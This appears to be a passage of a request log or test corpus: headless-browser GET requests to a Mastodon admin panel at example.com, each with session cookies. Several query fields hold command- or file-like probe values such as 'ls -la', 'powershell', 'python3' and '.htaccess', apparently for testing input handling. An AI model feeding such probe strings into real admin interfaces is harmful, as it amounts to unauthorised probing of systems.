{"method": "GET", "target": "/admin/accounts", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDQuMjIyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7cb023017d427dc1a0ef1cfc4ce3e313c70c036e; _mastodon_session=Y9QBr3x0KWiPIvGPr6eqjHpD4t7szofsKq0MY8uVJ0G6QHEIwYr8NYSKa5%2Bnewl5IhFJjGYvX6wmmQJF9vUWtee7dhBnTgT0g8rwVNuz%2BudsO0Zvrr0XTk03RRdvFLJngKwS6x%2B9GS15KAwPzXPaeNzUrImQ2Gihl1wnfWiR4I0Gs02QymthHeuAYWuOXkj%2FhYJMNVuEf2bazoxqDvLdgtKg2s2rf6lA9guVWVB9OgSXaUVND50hIHJ2hrjvVzWWy%2FnaXAlTCTZHH9UYyj9grPqK49CLiOXyyq975nfEmqzbNi0r0edpXCzUFg7JoEgXkG%2FEsluoXrwU9KcembY3KKgk0Fpx8m6%2BtZ%2FWYf1fAycbsQU8%2F%2Bhy%2Be%2Faf1ECr13WrVe5u7IwinHS--lpHju753NjxITozv--Dpt73YoYOqDUSEhLORVgmg%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/database-D_1Mbg_g.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/accounts", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDcuMDg3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b57def8fb2cbcda1094071ffca75c92d594a8143; _mastodon_session=jCvNig51jRYcPdFycizHSJU2j2xPOf5eIcaTgmcMggeLgRtVV35HLRiV%2Bgp2v9RrkKSdKFU2YW%2Fvol0iiNkKXlSTNVikMQ1aqgpHsFp9u36TlQ7nTMdyNCF9tZQuaLStCNlZY529TUm6BidXbIHzkxqs69jwfvIxiKXED4UX4vygCQzneMw%2BihSfR0OHnrmYR1LskBQVLmrerk8Xi2MKTN5wJYlK4My%2F5JHjWGSEXmS%2FLPVq2CXcjN0f80AKg55FQEoekpgYsPqUIK%2BLlFYIuRB2eDh8Sustyg%2FCID0UULx1BxJeJ36OKVb1r9gPrsHzqSwO5R6WmzIRVGcWytCbtWJ3jdF5tRjjrcmPDGnaLYHgJImO0XSzChs9eMfh%2BA6TIPYiQmYiVjzt--rlkc4UdDJScH3PCb--wQ5cFIgkqaejc35lfYn7lQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/accounts?origin=local&status=active&username=python3", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDcuMDg3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b57def8fb2cbcda1094071ffca75c92d594a8143; _mastodon_session=jCvNig51jRYcPdFycizHSJU2j2xPOf5eIcaTgmcMggeLgRtVV35HLRiV%2Bgp2v9RrkKSdKFU2YW%2Fvol0iiNkKXlSTNVikMQ1aqgpHsFp9u36TlQ7nTMdyNCF9tZQuaLStCNlZY529TUm6BidXbIHzkxqs69jwfvIxiKXED4UX4vygCQzneMw%2BihSfR0OHnrmYR1LskBQVLmrerk8Xi2MKTN5wJYlK4My%2F5JHjWGSEXmS%2FLPVq2CXcjN0f80AKg55FQEoekpgYsPqUIK%2BLlFYIuRB2eDh8Sustyg%2FCID0UULx1BxJeJ36OKVb1r9gPrsHzqSwO5R6WmzIRVGcWytCbtWJ3jdF5tRjjrcmPDGnaLYHgJImO0XSzChs9eMfh%2BA6TIPYiQmYiVjzt--rlkc4UdDJScH3PCb--wQ5cFIgkqaejc35lfYn7lQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/axios-0On1V31i.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/accounts?origin=local&status=active&username=python3", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDkuOTI5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--28817c8cccecab54ff3dd0ca359489e9721023de; _mastodon_session=UUkQGiOmzI2wyKEIFqFrnJSuvIWAx78iv6%2F%2B%2F6tFm%2FOn8sGeOTgTbNb5b0FO4HA3KblOcoxahifcm2sA5C4p2RA1n8aGGqU3pPVqIgqdLmPloNJ6c4Z1O%2BWBZ6nwm1WLKxsOZvD3%2BtPCxRUrwODm1BC1RXwYoHoiWstDE%2B5F27ShMVeJKL5SVG5ft34z8LwVtBj9sB3qIW93f3aJYiJgYgZRK%2BVSNx8Ch%2BeP2fHtmVTP8o4MjZevSaepcoK8af4QNQFz1mKehSXTiHy7oaxWrb6qWLT4vsT%2FMuv4S9dFnr39xQv3z0w%2B8uC1fFtiGJKLeAG%2FqlxrgnIv9bmXRUlYoVuzgFEDPzvTh1jIM5caR15%2FrfqfzitiaEw8Skt2E1WZlJpcpkxdFeV0--LnzBsGuJl8j%2FX23E--QPByYqL93VBeBxZhDIMO%2FQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/accounts?display_name=powershell&email=ls%20-la&ip=192.0.2.1", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NDkuOTI5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--28817c8cccecab54ff3dd0ca359489e9721023de; _mastodon_session=UUkQGiOmzI2wyKEIFqFrnJSuvIWAx78iv6%2F%2B%2F6tFm%2FOn8sGeOTgTbNb5b0FO4HA3KblOcoxahifcm2sA5C4p2RA1n8aGGqU3pPVqIgqdLmPloNJ6c4Z1O%2BWBZ6nwm1WLKxsOZvD3%2BtPCxRUrwODm1BC1RXwYoHoiWstDE%2B5F27ShMVeJKL5SVG5ft34z8LwVtBj9sB3qIW93f3aJYiJgYgZRK%2BVSNx8Ch%2BeP2fHtmVTP8o4MjZevSaepcoK8af4QNQFz1mKehSXTiHy7oaxWrb6qWLT4vsT%2FMuv4S9dFnr39xQv3z0w%2B8uC1fFtiGJKLeAG%2FqlxrgnIv9bmXRUlYoVuzgFEDPzvTh1jIM5caR15%2FrfqfzitiaEw8Skt2E1WZlJpcpkxdFeV0--LnzBsGuJl8j%2FX23E--QPByYqL93VBeBxZhDIMO%2FQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/accounts?username=.htaccess&by_domain=remote.example", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NTIuNzUzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f3165159685a81238dab7e25fd566b1319792fee; _mastodon_session=3JEfYokBtI4wUHoWNEpBsjanaId7O6uHT6YjeDUWRAev1A9RrJ9RKGXOH64TEsd2c0%2F960Y7yobJE6Xtq5k2iotd38em68%2Fq3ho06pnAJi6w1idUi%2BTlIs4SvhOpkkJjCLAE%2F2Re1r5MIRJV7LBx7tgC9RayhCI92ISSkI3lxaFfU3%2FfWbecprcjq2VTSbGrlrPLA4H7A2P3km%2FCXdRbR06aJS%2FOsIyxnHysthULLyzCJI0OCm1%2Bk3NGAKRJb2eewAwZ3NQTLXCUKwAXienlF2DPh%2F8k6r66oJP9MW96phGBuRNANbAB%2F7V6p6fw4nVfx21tYjCwbFMPhwZqpgsHyQ27Ik0EExTzOle9S6bQEY7kYylg386Wx6m06ri3CdfjVdsah11%2FcirM--BTxolyS%2BRxMBSqlB--1VsNDdtd8jmhz9Iw%2BYm%2FhQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/locale-D-1rLaCQ.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/accounts?username=.htaccess&by_domain=remote.example", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NTUuNjUzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b8c4a3a7fa5365f5fc33f5bbba66423def977d22; _mastodon_session=EogjCQ5IfKpW5NvCpt35ub0nui9mSl6DV5hCyXcdSDN1F%2BHJ6dCa%2F%2FtLi%2Fb4cCHF0mrbu6nvIchV1xF9XModmKn2WBJaDrCsFPSIIHBG5EwFzRNytAxNgQktRmAriRhY4oU9naCUte6rjGeMkK%2BNAyL7XT1XyazuLJCXCaMR92Xkdg4yW5K7RsD9SrCjGnKUE3m6wYuTX6aQCuwxGCgwAMRdH8%2BENb5d449Fp2yYruol%2BB7LOmNAlGhgSrZksts0rz01fR2bf0dPlqY1%2F2wCCVCfh2ZNWmk6vpb%2BYLwtmGNQTZHtzoHGpLWgF7xG1iDQo4BxXP%2BobhXsO94NXFWwU9w%2FFjvYZPYvx4xhOMxWb3xJv3gTDUMYSplvRtNHmE5BQ%2Bim2bNvE8BM--gNZoV5JsN2IgVHa8--%2FfAwncRWoQtV14Q7s4DtAQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/instances?by_domain=python3", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NTUuNjUzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b8c4a3a7fa5365f5fc33f5bbba66423def977d22; _mastodon_session=EogjCQ5IfKpW5NvCpt35ub0nui9mSl6DV5hCyXcdSDN1F%2BHJ6dCa%2F%2FtLi%2Fb4cCHF0mrbu6nvIchV1xF9XModmKn2WBJaDrCsFPSIIHBG5EwFzRNytAxNgQktRmAriRhY4oU9naCUte6rjGeMkK%2BNAyL7XT1XyazuLJCXCaMR92Xkdg4yW5K7RsD9SrCjGnKUE3m6wYuTX6aQCuwxGCgwAMRdH8%2BENb5d449Fp2yYruol%2BB7LOmNAlGhgSrZksts0rz01fR2bf0dPlqY1%2F2wCCVCfh2ZNWmk6vpb%2BYLwtmGNQTZHtzoHGpLWgF7xG1iDQo4BxXP%2BobhXsO94NXFWwU9w%2FFjvYZPYvx4xhOMxWb3xJv3gTDUMYSplvRtNHmE5BQ%2Bim2bNvE8BM--gNZoV5JsN2IgVHa8--%2FfAwncRWoQtV14Q7s4DtAQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/typed_functions-Whap35TF.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/instances?by_domain=python3", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NTguNTYwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9b4495f142e6d2ee89d949184d854abfb09e3923; _mastodon_session=F0mpcYjHgTeplRWB1bhnVZFnlJjzxictFHSfVp3PLrWxB00cS9bTtUiQrRc%2BOhOmg6H4KGznuJKs3wuG1qILIfn715rmro7sjiVbOduiEX5WwI6OU%2FV1aALGZYdBPlGAT53WzoCE0at1uzHBoWHzMkZmhZEd4SNfhvozO1D4k1IbDww8kBf88A6g2Gj6z2MKYcXOMkGTR6%2FarBFZ36cEGCKr3%2BWgUpE6i4oKqfScT94bFFbsB13crO45es2jibHh0sspH2ArfME1CVSQmFDTqaBxM4t%2FXJ%2BFwuuDdrFswDur8%2FCzx05RCBub31zAj583goREm%2BmoHLBdx%2FAiAjeDXy2tcGYgVOGB0IvQG1ZUm6tmR%2B2UQXA2%2FkC%2FQkq67A2bFCxmYNqhums1--EMZbk7l6%2Fyc8Wg04--DSoFa%2Fhz7mIpO2bwpONmVA%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/instances", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6NTguNTYwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9b4495f142e6d2ee89d949184d854abfb09e3923; _mastodon_session=F0mpcYjHgTeplRWB1bhnVZFnlJjzxictFHSfVp3PLrWxB00cS9bTtUiQrRc%2BOhOmg6H4KGznuJKs3wuG1qILIfn715rmro7sjiVbOduiEX5WwI6OU%2FV1aALGZYdBPlGAT53WzoCE0at1uzHBoWHzMkZmhZEd4SNfhvozO1D4k1IbDww8kBf88A6g2Gj6z2MKYcXOMkGTR6%2FarBFZ36cEGCKr3%2BWgUpE6i4oKqfScT94bFFbsB13crO45es2jibHh0sspH2ArfME1CVSQmFDTqaBxM4t%2FXJ%2BFwuuDdrFswDur8%2FCzx05RCBub31zAj583goREm%2BmoHLBdx%2FAiAjeDXy2tcGYgVOGB0IvQG1ZUm6tmR%2B2UQXA2%2FkC%2FQkq67A2bFCxmYNqhums1--EMZbk7l6%2Fyc8Wg04--DSoFa%2Fhz7mIpO2bwpONmVA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/api-CGawW2vu.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/instances", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MDEuMzg5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--80dce4e171b80ce0507000078d7bc66401dabb04; _mastodon_session=5uG1%2FMG520iXcXH7Q5NxmggpV%2FrIvaJLd%2BlVMdaI7q%2BlyopPOofRW1rzrqjiYJKoUMuNqrtrFNUOV1NTXSXrnsyEtVAfqOjLkNYCTFV05MZJvQzWXu1lJhm2GSwB67wJADula3AUF6J4BMI7gjY9o8%2BXiwsXETCAC3x%2Bftrk9fuMUPMu8c55gTHok1TpAVoD%2FD3ZzWUScq0wX3gfLMTAB4%2FkN%2BdX6kR2GTTJfHhCHevZSO%2FGlRzD96gO%2FNslrEPZQLqiAMTJ1L7p0lUIz0dCwnVq8lHIHpKVzyOGOdH15nQyL3OBSQhvr3fn2f5sSH8x%2BME26MKQyzTZqfdz46OtbKQ%2FSNBCfbi4cpiCFvvFMHBcIUVjYzgDnP9aE%2Bnbsq3atNy11LaTtq6%2F--MENt58uSSDDDCnVi--ZeYYKBPCfpR0hrM4nda5fA%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/custom_emojis?shortcode=python3", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MDEuMzg5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--80dce4e171b80ce0507000078d7bc66401dabb04; _mastodon_session=5uG1%2FMG520iXcXH7Q5NxmggpV%2FrIvaJLd%2BlVMdaI7q%2BlyopPOofRW1rzrqjiYJKoUMuNqrtrFNUOV1NTXSXrnsyEtVAfqOjLkNYCTFV05MZJvQzWXu1lJhm2GSwB67wJADula3AUF6J4BMI7gjY9o8%2BXiwsXETCAC3x%2Bftrk9fuMUPMu8c55gTHok1TpAVoD%2FD3ZzWUScq0wX3gfLMTAB4%2FkN%2BdX6kR2GTTJfHhCHevZSO%2FGlRzD96gO%2FNslrEPZQLqiAMTJ1L7p0lUIz0dCwnVq8lHIHpKVzyOGOdH15nQyL3OBSQhvr3fn2f5sSH8x%2BME26MKQyzTZqfdz46OtbKQ%2FSNBCfbi4cpiCFvvFMHBcIUVjYzgDnP9aE%2Bnbsq3atNy11LaTtq6%2F--MENt58uSSDDDCnVi--ZeYYKBPCfpR0hrM4nda5fA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/isSymbol-3r8dk6Lb.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/custom_emojis?shortcode=python3", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MDQuMjM0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--5b201424771bcf4e883698520656bfcbf6c5f6d8; _mastodon_session=2ADdSofy1HIJOkaQYz2Cl7dzVcFAkWzm3cHp9QAoi%2F%2F%2B9P%2Be7nFUm0OZuZFiTrImoApvI6g7xdE6nTdxWT7%2BeAKgA%2BeitPaop1nGT2hDSUdtagj0j%2FpLH18ySaLcSGRXOxgSoAT%2FzCLUgv9n5IEZ4a6o%2Be8iVGrQ5TREP9GZiGDFZ7J7n1DBTNduUB5vtpHiatA6uQ5eT6GBYW1OFq5cZ7Bd6aKfrx%2B5SoEQ3M%2F%2B%2FLWkj8enjDG4Cpk09XPENyGSV83IsoTphnjuK0VbOFE4CJ2%2Bdd%2BKdPhVGde%2Bp0o%2BMz2GQ3bkQgurZuaO0PGzOp%2BEdQAUIXo6ui2f9Pvmf3R5b2RCn4hU51h0tw2TpPbAZUISYixRuPZ%2BoJ0TGO4m%2BdyJ7hrSfbTT%2BZUh--b6IyTX1QZVYMllHq--Ly4ZAZAWf8I5kahy7IALdA%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/custom_emojis?by_domain=remote.example", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MDQuMjM0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--5b201424771bcf4e883698520656bfcbf6c5f6d8; 